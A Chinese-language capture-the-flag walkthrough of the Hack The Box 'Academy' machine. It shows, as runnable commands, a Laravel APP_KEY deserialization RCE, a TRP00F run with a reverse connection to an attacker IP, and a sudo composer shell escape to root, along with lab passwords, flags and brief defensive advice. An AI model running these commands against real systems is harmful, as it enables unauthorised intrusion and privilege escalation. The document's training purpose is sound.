[Meachines] [Easy] Academy Laravel-RCE+TRP00F权限提升+audit服务日志权限提升+composer权限提升
字数 1146 2025-08-22 12:23:42

Laravel RCE漏洞利用与权限提升综合教学文档

1. 目标系统信息收集

1.1 初始扫描

使用masscan进行快速端口扫描:

sudo masscan -p1-65535,U:1-65535 10.10.10.215 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports

提取开放端口并使用nmap进行详细扫描:

ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.215

扫描结果:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu
  • 80/tcp: Apache httpd 2.4.41 (Ubuntu)
  • 33060/tcp: MySQL扩展端口

1.2 Web服务枚举

添加主机名到/etc/hosts

echo '10.10.10.215 academy.htb' >> /etc/hosts

使用dirsearch进行目录扫描:

dirsearch -u academy.htb

发现管理后台登录页面:

http://academy.htb/admin.php

尝试默认凭据:

username: adm
password: adm

2. Laravel RCE漏洞利用 (CVE-2018-15133)

2.1 发现子域名

添加开发环境子域名:

echo '10.10.10.215 dev-staging-01.academy.htb' >> /etc/hosts

验证子域名:

whatweb http://dev-staging-01.academy.htb/ -v

2.2 漏洞利用准备

克隆漏洞利用工具:

git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
cd exploit_laravel_cve-2018-15133/
pip3 install -r requirements.txt

2.3 执行漏洞利用

获取Laravel应用的APP_KEY(示例中为dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=):

python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive

成功获取www-data权限的shell。

3. 权限提升:www-data → cry0l1t3

在获得的shell中切换到cry0l1t3用户:

su cry0l1t3

使用密码:

mySup3rP4s5w0rd!!

获取用户flag:

681bcfc1ee52a4e797c0fb16e81a9af4

4. 权限提升:cry0l1t3 → mrb3n (TRP00F漏洞)

4.1 使用TRP00F工具

下载并执行TRP00F漏洞利用工具:

python3 trp00f.py --lhost 10.10.16.16 --lport 10022 --rhost 10.10.16.16 --rport 443 --http 1111 --password 'mySup3rP4s5w0rd!!'

选择利用pkexec漏洞:

[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) > y

4.2 通过audit服务提升权限

使用aureport查看审计日志:

aureport --tty

切换到mrb3n用户:

su mrb3n

使用密码:

mrb3n_Ac@d3my!

5. 权限提升:mrb3n → root (Composer漏洞)

5.1 利用Composer权限提升

创建临时目录并设置恶意composer.json:

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > $TF/composer.json

执行Composer脚本获取root shell:

sudo composer --working-dir=$TF run-script x

5.2 获取root flag

成功获取root权限后查看flag:

f44c2b56ff571a21b8e1fa983be91be3

6. 关键漏洞总结

  1. Laravel RCE (CVE-2018-15133):

    • 利用条件:获取APP_KEY
    • 影响版本:Laravel框架特定版本
    • 利用方式:反序列化漏洞
  2. TRP00F漏洞:

    • 利用条件:本地访问权限
    • 影响组件:pkexec
    • 利用方式:特权提升
  3. Composer权限提升:

    • 利用条件:有sudo权限执行composer
    • 影响组件:Composer
    • 利用方式:通过恶意composer.json执行脚本

7. 防御建议

  1. 及时更新Laravel框架到最新安全版本
  2. 限制APP_KEY的访问权限
  3. 定期更新系统组件(pkexec等)
  4. 审查sudo权限,限制不必要的命令执行
  5. 监控审计日志(audit)中的可疑活动
  6. 对Composer等开发工具的使用进行权限控制
Laravel RCE漏洞利用与权限提升综合教学文档 1. 目标系统信息收集 1.1 初始扫描 使用 masscan 进行快速端口扫描: 提取开放端口并使用 nmap 进行详细扫描: 扫描结果: 22/tcp: OpenSSH 8.2p1 Ubuntu 80/tcp: Apache httpd 2.4.41 (Ubuntu) 33060/tcp: MySQL扩展端口 1.2 Web服务枚举 添加主机名到 /etc/hosts : 使用 dirsearch 进行目录扫描: 发现管理后台登录页面: 尝试默认凭据: 2. Laravel RCE漏洞利用 (CVE-2018-15133) 2.1 发现子域名 添加开发环境子域名: 验证子域名: 2.2 漏洞利用准备 克隆漏洞利用工具: 2.3 执行漏洞利用 获取Laravel应用的APP_ KEY(示例中为 dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= ): 成功获取 www-data 权限的shell。 3. 权限提升:www-data → cry0l1t3 在获得的shell中切换到 cry0l1t3 用户: 使用密码: 获取用户flag: 4. 权限提升:cry0l1t3 → mrb3n (TRP00F漏洞) 4.1 使用TRP00F工具 下载并执行TRP00F漏洞利用工具: 选择利用 pkexec 漏洞: 4.2 通过audit服务提升权限 使用 aureport 查看审计日志: 切换到 mrb3n 用户: 使用密码: 5. 权限提升:mrb3n → root (Composer漏洞) 5.1 利用Composer权限提升 创建临时目录并设置恶意composer.json: 执行Composer脚本获取root shell: 5.2 获取root flag 成功获取root权限后查看flag: 6. 关键漏洞总结 Laravel RCE (CVE-2018-15133) : 利用条件:获取APP_ KEY 影响版本:Laravel框架特定版本 利用方式:反序列化漏洞 TRP00F漏洞 : 利用条件:本地访问权限 影响组件:pkexec 利用方式:特权提升 Composer权限提升 : 利用条件:有sudo权限执行composer 影响组件:Composer 利用方式:通过恶意composer.json执行脚本 7. 防御建议 及时更新Laravel框架到最新安全版本 限制APP_ KEY的访问权限 定期更新系统组件(pkexec等) 审查sudo权限,限制不必要的命令执行 监控审计日志(audit)中的可疑活动 对Composer等开发工具的使用进行权限控制